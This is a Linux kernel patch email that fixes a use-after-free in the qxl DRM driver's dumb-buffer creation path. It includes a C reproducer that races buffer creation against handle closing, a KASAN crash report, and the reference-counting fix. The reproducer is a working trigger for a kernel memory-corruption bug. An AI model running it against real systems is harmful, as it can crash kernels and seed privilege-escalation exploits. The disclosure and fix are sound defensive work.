From: Wander Lairson Costa wander@redhat.com
commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream.
qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it.
A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1; struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); }
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; }
void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); }
int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd);
if(dri_fd == -1) return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; }
This is a KASAN report:
================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515
CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: <TASK> __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 </TASK>
Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400)
The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected
Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa wander@redhat.com Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie airlied@redhat.com Signed-off-by: Dave Airlie airlied@redhat.com Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@... Signed-off-by: Greg Kroah-Hartman gregkh@linuxfoundation.org --- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-)
--- a/drivers/gpu/drm/qxl/qxl_drv.h +++ b/drivers/gpu/drm/qxl/qxl_drv.h @@ -310,7 +310,7 @@ int qxl_gem_object_create_with_handle(st u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle); void qxl_gem_object_free(struct drm_gem_object *gobj); int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv); --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file { struct qxl_device *qdev = to_qxl(dev); struct qxl_bo *qobj; + struct drm_gem_object *gobj; uint32_t handle; int r; struct qxl_surface surf; @@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file
r = qxl_gem_object_create_with_handle(qdev, file_priv, QXL_GEM_DOMAIN_CPU, - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle); if (r) return r; + qobj = gem_to_qxl_bo(gobj); qobj->is_dumb = true; + drm_gem_object_put(gobj); args->pitch = pitch; args->handle = handle; return 0; --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_dev return 0; }
+/* + * If the caller passed a valid gobj pointer, it is responsible to call + * drm_gem_object_put() when it no longer needs to acess the object. + * + * If gobj is NULL, it is handled internally. + */ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, struct drm_file *file_priv, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle) { - struct drm_gem_object *gobj; int r; + struct drm_gem_object *local_gobj;
- BUG_ON(!qobj); BUG_ON(!handle);
r = qxl_gem_object_create(qdev, size, 0, domain, false, false, surf, - &gobj); + &local_gobj); if (r) return -ENOMEM; - r = drm_gem_handle_create(file_priv, gobj, handle); + r = drm_gem_handle_create(file_priv, local_gobj, handle); if (r) return r; - /* drop reference from allocate - handle holds it now */ - *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put(gobj); + + if (gobj) + *gobj = local_gobj; + else + /* drop reference from allocate - handle holds it now */ + drm_gem_object_put(local_gobj); + return 0; }
--- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *d struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc *qxl_alloc = data; int ret; - struct qxl_bo *qobj; uint32_t handle; u32 domain = QXL_GEM_DOMAIN_VRAM;
@@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *d domain, qxl_alloc->size, NULL, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); @@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_devi { struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc_surf *param = data; - struct qxl_bo *qobj; int handle; int ret; int size, actual_stride; @@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_devi QXL_GEM_DOMAIN_SURFACE, size, &surf, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret);